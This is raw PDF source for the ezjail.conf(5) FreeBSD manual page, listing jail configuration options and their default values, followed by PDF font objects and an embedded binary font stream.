79(gure out where it should perform its actions. Its path is set at installation)Tj
80-14.5395 -1.2 TD
811.2638 Tw
82(time to)Tj
83/TT4 1 Tf
845.5828 0 TD
850 Tw
86(EZJAIL_PREFIX/etc/ezjail.conf)Tj
87/TT6 1 Tf
8817.4028 0 TD
891.2638 Tw
90[(,)-1513.8(with an e)15(xample )]TJ
91/TT7 1 Tf
9212.399 0 TD
930 Tw
94()Tj
95/TT6 1 Tf
960.5561 0 TD
971.2637 Tw
98(le installed at)Tj
99/TT4 1 Tf
100-35.9407 -1.2 TD
1010 Tw
102(EZJAIL_PREFIX/etc/ezjail.conf.sample)Tj
103/TT6 1 Tf
10421.6035 0 TD
105(.)Tj
106-21.6035 -1.8 TD
107(This )Tj
108/TT7 1 Tf
1092.0323 0 TD
110()Tj
111/TT6 1 Tf
1120.5562 0 TD
1130.0045 Tw
114(le is really a shell script that is sourced by the)Tj
115/TT9 1 Tf
11618.5168 0 TD
1170 Tw
118(ezjail-admin)Tj
119/TT6 1 Tf
1207.4558 0 TD
1210.0046 Tw
122[(command at run-time.)-504.6(\(str\) denotes)]TJ
123-28.561 -1.2 TD
1240.0199 Tw
125[(a)-269.9(string; it should be enclosed in quotes if it contains space.)-519.9(\(bool\) notes a boolean, whose possible v)25(alues)]TJ
126T*
1270 Tw
128(are YES and NO.)Tj
129/TT2 1 Tf
130-3 -2.4 TD
1310.1666 Tw
132[(P)74(A)95(TH OPTIONS)]TJ
133/TT6 1 Tf
1343 -1.2 TD
1350 Tw
136(ezjail_jaildir \(str\))Tj
1374.1 -1.2 TD
138(Location of jail root directories.)Tj
139T*
140[(Def)10(ault:)]TJ
141/TT11 1 Tf
1423.5164 0 TD
143(/usr/jails)Tj
144/TT6 1 Tf
1453.5566 0 TD
146(.)Tj
147-11.173 -1.8 TD
148(ezjail_jailtemplate \(str\))Tj
1494.1 -1.2 TD
150[(Location of template jail used to create a ne)25(w)-250(jail)]TJ
151T*
152[(Def)10(ault:)]TJ
153/TT11 1 Tf
1543.5164 0 TD
155[(${ezjail_jaildir}/ne)15(wjail)]TJ
156/TT6 1 Tf
1579.674 0 TD
158(.)Tj
159-17.2903 -1.8 TD
160(ezjail_jailbase \(str\))Tj
1614.1 -1.2 TD
162(Location of base jail, the one that is mounted to all jails)Tj
163T*
164[(Def)10(ault:)]TJ
165/TT11 1 Tf
1663.5164 0 TD
167(${ezjail_jaildir}/basejail)Tj
168/TT6 1 Tf
1699.9111 0 TD
170(.)Tj
171-17.5275 -1.8 TD
172(ezjail_sourcetree \(str\))Tj
1734.1 -1.2 TD
1740.0369 Tw
175[(Location of your cop)10(y)-286.9(o)0(f)-286.9(FreeBSD)55(s)-286.9(source tree \(refer to the)]TJ
176/TT4 1 Tf
17724.86 0 TD
1780 Tw
179(ezjail-admin)Tj
180/TT6 1 Tf
1817.2012 0 TD
1820.037 Tw
183(\(8\) utility for more)Tj
184-32.0612 -1.2 TD
1850 Tw
186(information\).)Tj
187T*
188[(Def)10(ault:)]TJ
189/TT11 1 Tf
1903.5164 0 TD
191[(/usr/sr)37(c)]TJ
192/TT6 1 Tf
1933.0192 0 TD
194(.)Tj
195-10.6355 -1.8 TD
196(ezjail_)Tj
197/TT7 1 Tf
1982.665 0 TD
199()Tj
200/TT6 1 Tf
2010.5562 0 TD
202[(a)20(v)20(ours_dir \(str\))]TJ
2030.8788 -1.2 TD
204(Location of the )Tj
205/TT7 1 Tf
2066.3589 0 TD
207()Tj
208/TT6 1 Tf
2090.5562 0 TD
210[(a)20(v)20(ours, where each directory is a dif)25(ferent )]TJ
211/TT7 1 Tf
21217.038 0 TD
213()Tj
214/TT6 1 Tf
2150.5562 0 TD
216[(a)20(v)20(our)55(.)]TJ
217-24.5092 -1.2 TD
218[(Def)10(ault:)]TJ
219/TT11 1 Tf
2203.5164 0 TD
221(${ezjail_jaildir}/)Tj
222/TT12 1 Tf
2236.7446 0 TD
224()Tj
225/TT11 1 Tf
2260.5 0 TD
227[(avour)10(s)]TJ
228/TT6 1 Tf
2292.7122 0 TD
230(.)Tj
231-17.5732 -1.8 TD
232(ezjail_ftphost \(str\))Tj
2334.1 -1.2 TD
234[(This is where the install subcommand def)10(aults to fetch its packages from.)]TJ
235T*
236[(Def)10(ault:)]TJ
237/TT11 1 Tf
2383.5164 0 TD
239[(ftp.fr)37(eebsd.or)37(g)]TJ
240/TT6 1 Tf
2415.8147 0 TD
242(.)Tj
243-13.431 -1.8 TD
244[(ezjail_archi)25(v)15(edir \(str\))]TJ
2454.1 -1.2 TD
246[(This is the def)10(ault archi)25(v)15(e)15( )-15(location for the)]TJ
247/TT9 1 Tf
24816.9441 0 TD
249(ezjail-admin archive)Tj
250/TT6 1 Tf
25112.252 0 TD
252(command.)Tj
253-29.1961 -1.2 TD
254[(Def)10(ault:)]TJ
255/TT11 1 Tf
2563.5164 0 TD
257[(${ezjail_jaildir}/ezjail_ar)37(c)15(hives)]TJ
258/TT6 1 Tf
25912.7468 0 TD
260(.)Tj
261/TT2 1 Tf
262-23.3632 -2.4 TD
2630.1666 Tw
264[(J)30(AIL ADMIN OPTIONS)]TJ
265/TT6 1 Tf
2663 -1.2 TD
2670 Tw
268[(ezjail_def)10(ault_e)15(x)15(ecute \(str\))]TJ
2694.1 -1.2 TD
270[(This is the def)10(ault command e)15(x)15(ecuted in a jail by)]TJ
271/TT9 1 Tf
27219.8985 0 TD
273(ezjail-admin console)Tj
274/TT6 1 Tf
27512.0019 0 TD
276(.)Tj
277-31.9004 -1.2 TD
278[(Def)10(ault:)]TJ
279/TT11 1 Tf
2803.5164 0 TD
281[(/usr/bin/lo)10(gin -f r)45(oot)]TJ
282/TT6 1 Tf
2838.1681 0 TD
284(.)Tj
285-15.7845 -1.8 TD
286[(ezjail_e)15(x)15(ec_start \(str\))]TJ
2874.1 -1.2 TD
288[(The command to e)15(x)15(ecute in a jail when starting it.)]TJ
289T*
290[(Def)10(ault:)]TJ
291/TT11 1 Tf
2923.5164 0 TD
293[(/bin/sh /etc/r)37(c)]TJ
294/TT6 1 Tf
2955.4899 0 TD
296(.)Tj
297/TT2 1 Tf
298-16.1062 -2.4 TD
2990.1666 Tw
300[(J)30(AIL CREA)95(TION OPTIONS)]TJ
301/TT6 1 Tf
3023 -1.2 TD
3030.0702 Tw
304[(Def)10(ault options for ne)25(wly created jails. Used by the)]TJ
305/TT4 1 Tf
30621.4799 0 TD
3070 Tw
308(ezjail-admin)Tj
309/TT6 1 Tf
3107.2012 0 TD
3110.0702 Tw
312[(\(1\) utility)65(.)-320.2(B)0(e)-320.2(careful about disabling)]TJ
313/TT11 1 Tf
314-28.6811 -1.2 TD
3150 Tw
316(ezjail_mount_enable)Tj
317/TT6 1 Tf
3188.332 0 TD
319(.)Tj
320-8.332 -1.8 TD
321(ezjail_mount_enable \(bool\))Tj
3224.1 -1.2 TD
323(Controls whether)Tj
324/TT4 1 Tf
3257.1655 0 TD
326(/etc/fstab.)Tj
327/TT14 1 Tf
3287.2011 0 TD
329(hostname)Tj
330/TT6 1 Tf
3315.0508 0 TD
332[(should be e)15(x)15(ecuted at jail startup time.)]TJ
333-19.4174 -1.2 TD
334[(Def)10(ault:)]TJ
335/TT11 1 Tf
3363.5164 0 TD
337(YES)Tj
338/TT6 1 Tf
3391.667 0 TD
340(.)Tj
341-12.2834 -7.2 TD
34215.998 Tw
343[(FreeBSD January)-250(15, )15998(2011)-19470(1)]TJ
344ET
345endstream
346endobj
3473 0 obj
348<<
349/ProcSet [/PDF /Text ]
350/Font <<
351/TT2 4 0 R
352/TT4 5 0 R
353/TT6 6 0 R
354/TT7 7 0 R
355/TT9 8 0 R
356/TT11 9 0 R
357/TT12 10 0 R
358/TT14 11 0 R
359>>
360/ExtGState <<
361/GS1 12 0 R
362>>
363>>
364endobj
36515 0 obj
366<<
367/Length 5345
368>>
369stream
370BT
371/TT6 1 Tf
37210 0 0 10 72 744 Tm
3730 g
374/GS1 gs
3750 Tc
376-0.0834 Tw
377[(EZJ)60(AIL.CONF \(5\))-9100.9(User)55(s)-250(Supplementary )-83.4(Documents)-9100.9(EZJ)60(AIL.CONF \(5\))]TJ
3783 -4.8 TD
3790 Tw
380[(ezjail_de)25(vfs_enable \(bool\))]TJ
3814.1 -1.2 TD
3820.0181 Tw
383[(Controls whether ne)25(wly created jails are gi)25(v)15(e)0(n)-268.1(a)-268.1(w)10(orking)]TJ
384/TT4 1 Tf
38523.2193 0 TD
3860 Tw
387(/dev)Tj
388/TT6 1 Tf
3892.6686 0 TD
3900.0182 Tw
391[(directory)65(.)-268.2(\(Refer to)]TJ
392/TT4 1 Tf
3937.9305 0 TD
3940 Tw
395(devfs)Tj
396/TT6 1 Tf
3973.0005 0 TD
3980.0182 Tw
399(\(5\) and)Tj
400/TT4 1 Tf
401-36.8189 -1.2 TD
4020 Tw
403(jail)Tj
404/TT6 1 Tf
4052.4004 0 TD
406(\(8\) for more information\).)Tj
407-2.4004 -1.2 TD
408[(Def)10(ault:)]TJ
409/TT11 1 Tf
4103.5164 0 TD
411(YES)Tj
412/TT6 1 Tf
4131.667 0 TD
414(.)Tj
415-9.2834 -1.8 TD
416[(ezjail_de)25(vfs_ruleset \(str\))]TJ
4174.1 -1.2 TD
418(Speci)Tj
419/TT7 1 Tf
4202.2217 0 TD
421()Tj
422/TT6 1 Tf
4230.5562 0 TD
4240.2398 Tw
425[(es which de)25(vfs ruleset should apply for ne)25(wly created jails.)-739.8(\(Refer to)]TJ
426/TT4 1 Tf
42730.8195 0 TD
4280 Tw
429(devfs)Tj
430/TT6 1 Tf
4313.0005 0 TD
4320.2398 Tw
433(\(5\) and)Tj
434/TT4 1 Tf
435-36.5978 -1.2 TD
4360 Tw
437(jail)Tj
438/TT6 1 Tf
4392.4004 0 TD
440(\(8\) for more information\).)Tj
441-2.4004 -1.2 TD
442[(Def)10(ault:)]TJ
443/TT11 1 Tf
4443.5164 0 TD
445[(de)15(vfsrules_jail)]TJ
446/TT6 1 Tf
4475.8732 0 TD
448(.)Tj
449-13.4895 -1.8 TD
450(ezjail_procfs_enable \(bool\))Tj
4514.1 -1.2 TD
4520.0575 Tw
453[(Controls whether ne)25(wly created jails are gi)25(v)15(e)0(n)-307.5(a)-307.5(w)10(orking)]TJ
454/TT4 1 Tf
45523.5739 0 TD
4560 Tw
457(/proc)Tj
458/TT6 1 Tf
4593.3081 0 TD
4600.0576 Tw
461[(directory)65(.)-307.6(\(Refer to)]TJ
462/TT4 1 Tf
4638.0487 0 TD
4640 Tw
465(procfs)Tj
466/TT6 1 Tf
4673.6006 0 TD
468(\(5\))Tj
469-38.5313 -1.2 TD
470(and)Tj
471/TT4 1 Tf
4721.6938 0 TD
473(jail)Tj
474/TT6 1 Tf
4752.4004 0 TD
476(\(\(8\)\) for more information\).)Tj
477-4.0942 -1.2 TD
478[(Def)10(ault:)]TJ
479/TT11 1 Tf
4803.5164 0 TD
481(YES)Tj
482/TT6 1 Tf
4831.667 0 TD
484(.)Tj
485-9.2834 -1.8 TD
486(ezjail_fdescfs_enable \(bool\))Tj
4874.1 -1.2 TD
4880.3304 Tw
489[(Controls whether ne)25(wly created jails are gi)25(v)15(e)0(n)-580.3(a)-580.3(w)10(orking)]TJ
490/TT4 1 Tf
49126.0296 0 TD
4920 Tw
493(/dev/fd/)Tj
494/TT6 1 Tf
4955.3811 0 TD
4960.3303 Tw
497[(directory)65(.)-580.3(\(Refer to)]TJ
498/TT4 1 Tf
499-31.4107 -1.2 TD
5000 Tw
501(fdescfs)Tj
502/TT6 1 Tf
5034.2007 0 TD
504(\(\(5\)\) and)Tj
505/TT4 1 Tf
5063.7759 0 TD
507(jail)Tj
508/TT6 1 Tf
5092.4004 0 TD
510(\(\(8\)\) for more information\).)Tj
511-10.377 -1.2 TD
512[(Def)10(ault:)]TJ
513/TT11 1 Tf
5143.5164 0 TD
515(YES)Tj
516/TT6 1 Tf
5171.667 0 TD
518(.)Tj
519-9.2834 -1.8 TD
520(ezjail_uglyperlhack \(bool\))Tj
5214.1 -1.2 TD
5220.8332 Tw
523[(Set to YES, if ezjail should pro)15(vide a soft link from)]TJ
524/TT4 1 Tf
52530.0364 0 TD
5260 Tw
527(/usr/bin/perl)Tj
528/TT6 1 Tf
5298.8846 0 TD
530(to)Tj
531/TT4 1 Tf
532-38.921 -1.2 TD
533(/usr/local/bin/perl)Tj
534/TT6 1 Tf
53511.6519 0 TD
536(in base jail.)Tj
537-11.6519 -1.2 TD
538[(Def)10(ault:)]TJ
539/TT11 1 Tf
5403.5164 0 TD
541(YES)Tj
542/TT6 1 Tf
5431.667 0 TD
544(.)Tj
545-9.2834 -1.8 TD
546[(ezjail_def)10(ault_)]TJ
547/TT7 1 Tf
5485.9314 0 TD
549()Tj
550/TT6 1 Tf
5510.5562 0 TD
552[(a)20(v)20(our \(str\))]TJ
553-2.3876 -1.2 TD
5540.0577 Tw
555(Controls which )Tj
556/TT7 1 Tf
5576.5041 0 TD
5580 Tw
559()Tj
560/TT6 1 Tf
5610.5562 0 TD
5620.0576 Tw
563[(a)20(v)20(ours should be used for ne)25(wly created jails if none are gi)25(v)15(e)0(n)-307.6(o)0(n)-307.6(the command)]TJ
564-7.0602 -1.2 TD
5650 Tw
566(line.)Tj
567T*
568[(Def)10(ault:)]TJ
569/TT11 1 Tf
5703.5164 0 TD
571(none)Tj
572/TT6 1 Tf
5731.9438 0 TD
574(.)Tj
575-9.5602 -1.8 TD
576(ezjail_imagetype \(one of simple, bde, eli, zfs\))Tj
5774.1 -1.2 TD
578[(T)80(ype of jail to create when creating a jail with the)]TJ
579/TT8 1 Tf
58020.2726 0 TD
581<00e9>Tj
582/TT9 1 Tf
5830.6001 0 TD
584(i)Tj
585/TT7 1 Tf
5860.8501 0 TD
587()Tj
588/TT6 1 Tf
5890.5562 0 TD
590[(ag without specifying the type e)15(xplicitely)65(.)]TJ
591-22.279 -1.2 TD
592[(Def)10(ault:)]TJ
593/TT11 1 Tf
5943.5164 0 TD
595(simple)Tj
596/TT2 1 Tf
597-10.6164 -2.4 TD
5980.1666 Tw
599(ZFS OPTIONS)Tj
600/TT6 1 Tf
6013 -1.2 TD
6020 Tw
603(ezjail_use_zfs \(bool\))Tj
6044.1 -1.2 TD
605[(Set to YES, if ezjail should manage basejail and ne)25(wjail in a seperate ZFS-datasets.)]TJ
606T*
607[(Def)10(ault:)]TJ
608/TT11 1 Tf
6093.5164 0 TD
610(NO)Tj
611/TT6 1 Tf
6121.3892 0 TD
613(.)Tj
614-9.0055 -1.8 TD
615(ezjail_use_zfs_for_jails \(bool\))Tj
6164.1 -1.2 TD
6170.0171 Tw
618[(Set to YES, if ezjail should manage all ne)25(w)-267.1(jails in their o)25(wn ZFS-datasets. T)80(o)-267.1(o)15(v)15(erride that on the)]TJ
619T*
6200.4442 Tw
621(command line, use)Tj
622/TT9 1 Tf
6239.1085 0 TD
624(ezjail-admin create -c simple)Tj
625/TT6 1 Tf
62619.4296 0 TD
627(for image based jails or)Tj
628/TT9 1 Tf
629-28.5381 -1.2 TD
6300 Tw
631(ezjail-admin create -c )Tj
632/TT6 1 Tf
63315.2524 0 TD
634(for non-image jails.)Tj
635-15.2524 -1.2 TD
636[(Def)10(ault:)]TJ
637/TT11 1 Tf
6383.5164 0 TD
639(NO)Tj
640/TT6 1 Tf
6411.3892 0 TD
642(.)Tj
643-9.0055 -1.8 TD
644(ezjail_jailzfs \(str\))Tj
6454.1 -1.2 TD
6460.0623 Tw
647(The name of the parent ZFS-dataset which ezjail will use to create jails on. It will be mounted in)Tj
648/TT11 1 Tf
649T*
6500 Tw
651(ezjail_jaildir)Tj
652/TT6 1 Tf
6535.167 0 TD
654[(.)-500(Setting this will automaticly enable ezjail managing jails in seperate ZFS-datasets.)]TJ
655-5.167 -1.2 TD
656[(Def)10(ault:)]TJ
657/TT11 1 Tf
6583.5164 0 TD
659(none)Tj
660/TT6 1 Tf
6611.9438 0 TD
662(.)Tj
663-9.5602 -1.8 TD
664(ezjail_zfs_properties \(str\))Tj
6654.1 -1.2 TD
6660.0926 Tw
667[(Def)10(ault properties ZFS will use for creating datasets. See)]TJ
668/TT4 1 Tf
66923.9278 0 TD
6700 Tw
671(zfs)Tj
672/TT6 1 Tf
6731.8003 0 TD
6740.0925 Tw
675[(\(1m\) for details. AD)40(V)135(ANCED, be)]TJ
676-25.7281 -1.2 TD
6770 Tw
678[(v)15(ery careful!)]TJ
679T*
680[(Def)10(ault:)]TJ
681/TT11 1 Tf
6823.5164 0 TD
683(none)Tj
684/TT6 1 Tf
6851.9438 0 TD
686(.)Tj
687-12.5602 -7.2 TD
68815.998 Tw
689[(FreeBSD January)-250(15, )15998(2011)-19470(2)]TJ
690ET
691endstream
692endobj
69316 0 obj
694<<
695/ProcSet [/PDF /Text ]
696/Font <<
697/TT2 4 0 R
698/TT4 5 0 R
699/TT6 6 0 R
700/TT7 7 0 R
701/TT8 17 0 R
702/TT9 8 0 R
703/TT11 9 0 R
704>>
705/ExtGState <<
706/GS1 12 0 R
707>>
708>>
709endobj
71019 0 obj
711<<
712/Length 1502
713>>
714stream
715BT
716/TT6 1 Tf
71710 0 0 10 72 744 Tm
7180 g
719/GS1 gs
7200 Tc
721-0.0834 Tw
722[(EZJ)60(AIL.CONF \(5\))-9100.9(User)55(s)-250(Supplementary )-83.4(Documents)-9100.9(EZJ)60(AIL.CONF \(5\))]TJ
723/TT2 1 Tf
7240 -4.8 TD
7250 Tw
726(FILES)Tj
727/TT6 1 Tf
7283 -1.2 TD
729[(EZJ)60(AIL_PREFIX/etc/ezjail.conf)]TJ
730T*
731[(EZJ)60(AIL_PREFIX/etc/rc.d/ezjail.sh)]TJ
732/TT2 1 Tf
733-3 -2.4 TD
7340.1666 Tw
735(SEE ALSO)Tj
736/TT4 1 Tf
7373 -1.2 TD
7380 Tw
739(ezjail-admin)Tj
740/TT6 1 Tf
7417.2012 0 TD
742(\(1\),)Tj
743/TT4 1 Tf
7441.666 0 TD
745(ezjail)Tj
746/TT6 1 Tf
7473.6006 0 TD
748(\(5\),)Tj
749/TT4 1 Tf
7501.666 0 TD
751(jail)Tj
752/TT6 1 Tf
7532.4004 0 TD
754(\(8\),)Tj
755/TT4 1 Tf
7561.666 0 TD
757(devfs)Tj
758/TT6 1 Tf
7593.0005 0 TD
760(\(5\),)Tj
761/TT4 1 Tf
7621.666 0 TD
763(fdescfs)Tj
764/TT6 1 Tf
7654.2007 0 TD
766(\(5\),)Tj
767/TT4 1 Tf
7681.666 0 TD
769(procfs)Tj
770/TT6 1 Tf
7713.6006 0 TD
772(\(5\).)Tj
773/TT2 1 Tf
774-35.334 -2.4 TD
775[(A)50(UTHOR)]TJ
776/TT6 1 Tf
7773 -1.2 TD
778(Dirk Engling)Tj
779/TT15 1 Tf
7805.4995 0 TD
781<009d>Tj
782/TT6 1 Tf
7830.3291 0 TD
784[(erdgeist@erdgeist.or)18(g)]TJ
785/TT15 1 Tf
7868.817 0 TD
787<009c>Tj
788/TT6 1 Tf
7890.3291 0 TD
790(.)Tj
791-14.9747 -1.8 TD
7920.0754 Tw
793(The man page is based on a draft by JoeB)Tj
794/TT15 1 Tf
79517.6935 0 TD
7960 Tw
797<009d>Tj
798/TT6 1 Tf
7990.3291 0 TD
800[(joeb1@a1po)25(weruser)55(.com)]TJ
801/TT15 1 Tf
80210.1431 0 TD
803<009c>Tj
804/TT6 1 Tf
8050.6546 0 TD
8060.0755 Tw
807[(and w)10(as re)25(written by Frederic Perrin)]TJ
808/TT15 1 Tf
809-28.8203 -1.2 TD
8100 Tw
811<009d>Tj
812/TT6 1 Tf
8130.3291 0 TD
814(frederic.perrin@resel.fr)Tj
815/TT15 1 Tf
8169.4707 0 TD
817<009c>Tj
818/TT6 1 Tf
8190.3291 0 TD
820(.)Tj
821-13.1289 -52.8 TD
82215.998 Tw
823[(FreeBSD January)-250(15, )15998(2011)-19470(3)]TJ
824ET
825endstream
826endobj
82720 0 obj
828<<
829/ProcSet [/PDF /Text ]
830/Font <<
831/TT2 4 0 R
832/TT4 5 0 R
833/TT6 6 0 R
834/TT15 21 0 R
835>>
836/ExtGState <<
837/GS1 12 0 R
838>>
839>>
840endobj
84112 0 obj
842<<
843/Type /ExtGState
844/SA false
845/SM 0.02
846/OP false
847/op false
848/OPM 1
849/BG2 /Default
850/UCR2 /Default
851/HT /Default
852/TR2 /Default
853>>
854endobj
85522 0 obj
856<<
857/Type /FontDescriptor
858/Ascent 753
859/CapHeight 562
860/Descent -246
861/Flags 262151
862/FontBBox [-113 -250 749 801]
863/FontName /JGDKHH+Courier-Bold
864/ItalicAngle 0
865/StemV 133
866/XHeight 439
867/StemH 84
868/FontFile2 23 0 R
869>>
870endobj
87123 0 obj
872<<
873/Filter /FlateDecode
874/Length 24054
875/Length1 172192
876>>
877stream
878HOlgJ#Ƥk&رv8I'NNblj$]muCА6i&ځ8p@h;J Bq3O_7}_cA|W'/.o=AX({Ż]~_AպO~ϼx~+KAͺnߺJ7}_{c~헺şWwܺx{_w'?wUk߉;?<A|ї_}]wyÇ z|{.8U{Ͽ<K౿Ž[˛W~ .M6Ƃ+~o'+o|J! ^kW͓&a .oApݙ\okg~k>4:7I=0czGm܎Yu5q_͟? =m32wyh`&bJA?C!?a0?a0?G#?GQ(?GQ(?c1?cSSSSSSSSSSSSSq8?q8?.'I$x< O'I$x< 93<I$O'ɓI$y<I$O'ɓIxR<)O'œIxR<)riviviviviviOg3 ?ßg3ddddə3'gNΜ99sr93'gNΜ9g<Y,OVYe[VoYe[VYr/gr/gr˹/'+o/o/o˙3/g^μy9r˙3/gnA;(xx
879<OS)xwPA;(zEwPA;Xۂ,x w,x ggV[SAI%JΕ+9Wr%E-mQo,:E-mQoz[ԛZ%-mIΒ%-mIoKz[ےޖe-mnz[|_۲ޖe-mS[YoeV[YoeV[YeV[EoUV[Eo
880_WWWWWWWWWWWWWWWWWWWWWWWWWWU*_WU*_k5_k55555555555555uuuuuuuuuuuu :_u:_ooooooooooooo7 o7 *666666666666o7M&o7wwww[-o[-oδٓ'gOΞ3{rٓ'gOΞ}9rٗ}=y_zsG=wsG=wsG=wsW]=wsW]=wsW]=wsWz>|CCCCCCCCCCCC~_{={=}>??C!?C?G#?쒬h*P09!yCWΩ+*>/0eŬDIJR2Jƽ֔ڮm=}>⿄K/? 1c? 1?8q? 'O? 'O?$I'O?)SO?
881)SO?4iO?4i3g? 3g?,Yg?,Yg?9s?T??<y/_ /_ O>|)SħO">E|)SħO >%|J)S§O yJa e|)SƧO2>e|)SO
882>|*
883>|*T𩰟~V*Ye?gU~V*Yſ5k_ÿ 5kῌ2/㿌2/㿌2/_ǿ:u_ǿ:u7o 7o&1M4$O<M4$O<M4$O<-bZiEyZiEyZiE6yԹMԹMԹMԹMԹMԹM;ԹC;ԹC;ԹC;ԹC;ԹC;tam]֥]꒫K.8uw.Ww٧.9{#[zثy{#o=G\퓳_:Yo>uS>uS>u铳O]O]e@܀|:`:.2`2q@]qqH!y|OC8{7{= 7"nD6bGč|#8bGĎs:GqL]8c:&vL1ʘoeL1yfLm&䝰 'eB]&DŽN b'NXL֦uΔSN?%~J)SOvo~XX=`tY5gqnNNza;Pav"Pa ;\Žv#Xa ;^ Nv"Ta ;]vvs'|aP&a X%.v˅]!l+]%jaVu®E –ńŅ%%eeUUՄ- kk
884k k 
885 
886  
887Q}Pτ\/Z؝DŽ=*qa{J3ž焽 ya/
888 {YؿSk^7J_μHDž}Bg$/ <[g9!~!Uun+[b;}uk6/-ΘZ5*v,vU,z ު؍ZYWXDŽ}qYM3wH}_+0խ5KH݄+l?a{ {U6UlV7x=(墼z ,"0OVد&vawݳj[+ w {PCCެ9+#K|Y/LFlߑy&nyO -[ ~/~~/%a? {kEAw}MׅPH/P<ɝS{WYYDm#l[a ^ػ[v&Z wf wf=)L`oa{0Ear׌X37@p ¤?
889vC*0aG
890;JرŽv'ɼ׌OZ3%%8m53$Lag (\a҇_f|lvK]&raW,JaVukׯo- K
891 7aPVVVVV,.!)%-#+'/l l(l,l"l*F9䞉={&"'YTz Q3DgJ'*}DTz Q離r/E^,ޫ
892Kvɻ/_[5xDأ'=))aO {Fسž$ea{Uk^7%mBa JD yD<y "AD4-a'<FPzPzPPzPzp[a/// "{!{!{!A؎¤ w݄.la{
8932282W~7pQ:aҗҗ
894 L΍P΍P΍P΍P΍P΍P΍P΍P΍P΍P΍P΍P΍P΍xaӄ׆׆w;Uءvvs'LzPzBa X%.v˅]!l+]%jaVBy[ lIXLX\XBXRXJ3g.4MPr  "ƥ,H@ l1BEѶ ZK
895mZ)K03siW'~<30ƀ6lx2r `nv3Xd)``Sn6i`fV v;l; Vv\y`-l=`[vR=
896q5`O{
897g z `u`^
898
899r^.i:M*D]e2I60 r'Yhc4dn [}WO}M}HC
900GV=  }^{ zު
9015}l$(``ƃM
902̸Y@`v]2\)0W
903d R 3|
904̤"̤N +`r@^kyM 5U~ f\W`qf4ɞѴ ;=;`]`G&?}
9056l<XX9`7M U?;)\0o!o:0z]qBqB?BBBBBBN0!7`ol?-`C!dw;B!{C!d`A!CVi03` 0Xk0϶ gB~-b f׶
906Bn[-V{ع`A浐y-d^ B浐y`o-[ B Zȷ|k!ZȲ,k!ZȲ,k!ZȲvdY YBe-dY YBno-dY YBe-dY YB# ZȲ,k!SZȔ2Li!S
907`Sn6i`fV l؝`5`w.
908q0#'ւ=3> z`0Xi `-LA ?F#Ȋd(ϫrYtd"0Z2O&,]y$n}>>AƂAOG#zzT }>AFo#hd;0\%! 3 y zeF1Xg(FgZ 1EuWo^eF]Uֺ,u*u>ox1ƫzupUﯚfe%U!VZk >z)|ۂALfz^'yu.{$10:@ȥ=Grl%  22 I`ߜ
909trgl5\Oһd8W9^ pNJ=VjUux:w|~ե]xj꨻[{]ݜ _KZf?Iӎ;6N;~;!N;uNx:y^}{nO}u[Z2Vu[>pwk[_vvqn=~}eUҠv˂n@Pvn`[vAo{>8}R;='8j nnnaR;+xjw!%RXѤcZtD2\Ң:Grn_7ZWVJY:ƿ!*O&6f^&xӑ-1~Oz5 7c#@T2Xm|դ_UCMV;3U١Ϻ1W+coTbV:OvϰD
910ԒؚILˏ1j\QW,z7e4z.:8]?_fJTZz2ID?ESwn9lTIz~
911Ob^LZOJ)pJyF b/VU(ە_+J餕.fhω3V@4ҨNBFjoj=*hM$jrZoi(n":?ZD_1'j- ;y +W#NʲMVYI~Xb !YbJũ q]ƢbQ:C$?~g HMl5N_ifjb\j#6JiXXb/nh7c.tBf’b<;ky:*[FL?wS w߷H
912 @?M@Z}ցւd8
913,k @ ]>f="+v~TrԴ>,@Sخ(G\;_%Qf@\`;$t_~Etko|$p&׎꼍*j{ 8h9s}V@;AmW\p^ס22n.=yL x>FOǝŋ]жzSw4&c5gݬ9iv_Z.jb3]qO׳YQ{vCiة=QǗ5~2yGY:~<{[g1w牭1[g1WL,rCfz= ʀl^u.ֿ9d7ތˀEq4f49[M*qaM[(`d=3~o!+=Cn!WK.dg=5?w??'_CyʵT%sϱ<4o34/kV,`fǶ`9N*oŽHli(Pw9
914|FaMn(!} I#0k
915npL, * ZMEm (~IA
9164 <(1bfͧ<aBʕE-(gE8{J6:D˒0uI՚<H
9179@>e,rD{Q<~A'wz0-#ہQX U)]?I[VXqX1t18h 5UK\[!Fc\@G׶&xDZkKTqNYdCmr$qwtlt2gb'uɈQbfO(PΘ%K'ˎI]]~ wj^H-}=~<ۚ::#d:zwȹx0-0R)^H\t,VE}d,%L%zwi%~6T[G:>ڮ$hz \:|>F+(VE%q^C ZK_
918ZzwmBrTj_JLh mm=juV`z+*O32=(xty6Fҡ%|QDBf~Ezjk1,`c' ǫzgd/ewgw9oFS@0DA~$4%(D jx@05za7[7o_ڀ͌<O̸)w[zc[b~V[y#wφ0b_dKl{Lۿ [Kq,Ebc_u9(]yC! 9VƷˆ}Rԑ02R;r>ݰ0罰OXyx?c}N?!?/ra>OL|c/lg2͌_yO}[.PƋ|leȽo"㿔b՛o:~(6?afx]gGaПFFD1FexYx" +c0dƔ"Dƴt[X,3\.9K,'S"ϸ錕,cR*2zrJ cnVe<yX󮀭(}wߨTMK6 o`!o"ol!cb#Z*1skކx-2vP;;b)cW9w-D3Yo͌[`)j`}{<C0>9#ӈv!Ǩ1mfg3 62ާD)RO
919VƩ[1;Fƙ!ldFKQy.|_@]l)aKQ?QWlRK˭{o>$R<(2>FJKQȸRԣr^|]8gF 'OL":b)=q
9200EҠx1C,C,K5cT(tLQ1 ǯS%㔧<'G=fJWdI$)1BL%LST|dTeiJWgJu$YeR3FCM1LMq~B2)1E&z9\b2]d+Y*cf]U,G^,W◖deĪ(=PVU1Y5UL2ºXVduXX Xaj)=VzV^Xmn]b=b}bbCb#bc3Re)=W,l<Bڻח_/e^^(5#lFlNlAlIlElMlClkƫ<*f^[([uOWf1&Uzd;y'َIw:H1]]݈݉=]
921jgP?36Bsl_HRh)cTEacLǙT{g㕾#l<GHdzT56QQ`SHNN%N#N' $"6#Uh6M鲒ӕ'^r$L7R:ϯ] y;1C94;Xu0}ƫoCbq1
922}q4x-h<}Zt
923̸cUơE5[yŌǡ'\cqzH/U&y6uJl>$K\8~M\ a> ݝ-&hԊ@N܊퀏%_&0xR^}6BA~]O0>44)g1.@3K𺏕Go~94tNt.N O,'LƓYAlCN.<3ҿFvspa-X{'/jq:z^'jq:Y'}Or7ȃJF.7bwO7ܥn{[.w yp}sq4kx%D홏O37 <KqLXC7
